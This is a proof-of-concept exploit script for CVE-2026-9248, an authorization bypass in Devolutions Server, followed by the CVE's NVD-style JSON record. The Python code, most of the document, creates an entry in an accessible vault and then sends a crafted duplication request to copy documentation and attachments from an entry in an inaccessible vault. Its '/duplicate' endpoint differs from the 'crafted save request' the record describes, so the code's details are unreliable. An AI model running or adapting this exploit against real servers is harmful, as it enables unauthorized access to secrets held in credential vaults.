CVE-2026-9248

# CVE-2026-9248 PoC - Authorization Bypass in Devolutions Server Entry Duplication # This PoC demonstrates how an authenticated user can copy entries from inaccessible vaults import requests import json # Configuration BASE_URL = "https://devolutions-server.local" TARGET_VAULT_ID = "inaccessible-vault-id-12345" SOURCE_ENTRY_ID = "private-entry-id-67890" ACCESSIBLE_VAULT_ID = "accessible-vault-id-abcde" API_TOKEN = "your-auth-token-here" def exploit_entry_duplication(): """ Exploit the authorization bypass in entry duplication feature Allows copying documentation/attachments from entries in inaccessible vaults """ headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Step 1: Create a new entry in the accessible vault create_entry_url = f"{BASE_URL}/api/v1/entries" entry_payload = { "vaultId": ACCESSIBLE_VAULT_ID, "name": "Copied Entry", "folderId": None } response = requests.post(create_entry_url, headers=headers, json=entry_payload) new_entry_id = response.json().get("id") # Step 2: Craft malicious duplication request # The server does not verify access to SOURCE_ENTRY_ID duplicate_url = f"{BASE_URL}/api/v1/entries/{new_entry_id}/duplicate" duplicate_payload = { "sourceEntryId": SOURCE_ENTRY_ID, "copyDocumentation": True, "copyAttachments": True, "targetVaultId": TARGET_VAULT_ID } # Step 3: Send the crafted request # This bypasses authorization and copies sensitive data response = requests.post(duplicate_url, headers=headers, json=duplicate_payload) if response.status_code == 200: print("[+] Successfully copied entry from inaccessible vault!") print(f"[+] Copied entry ID: {response.json().get('id')}") return True else: print(f"[-] Exploit failed: {response.status_code}") return False if __name__ == "__main__": exploit_entry_duplication()

{"cve": {"id": "CVE-2026-9248", "sourceIdentifier": "[email protected]", "published": "2026-05-22T16:16:25.860", "lastModified": "2026-05-22T19:02:36.637", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization bypass in the entry duplication feature in Devolutions Server allows an authenticated user with write access to any vault to copy documentation and attachments from an entry in a vault they cannot access via a crafted save request.\n\nThis issue affects :\n\n * Devolutions Server 2026.1.6.0 through 2026.1.16.0\n * Devolutions Server 2025.3.20.0 and earlier"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N", "baseScore": 2.6, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.3.22.0", "matchCriteriaId": "6E689234-ABCB-49B5-AD17-00C2E2FC3B11"}, {"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.6.0", "versionEndExcluding": "2026.1.19.0", "matchCriteriaId": "02811CA7-5B80-47D7-B826-18B3CB1213E9"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0013/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}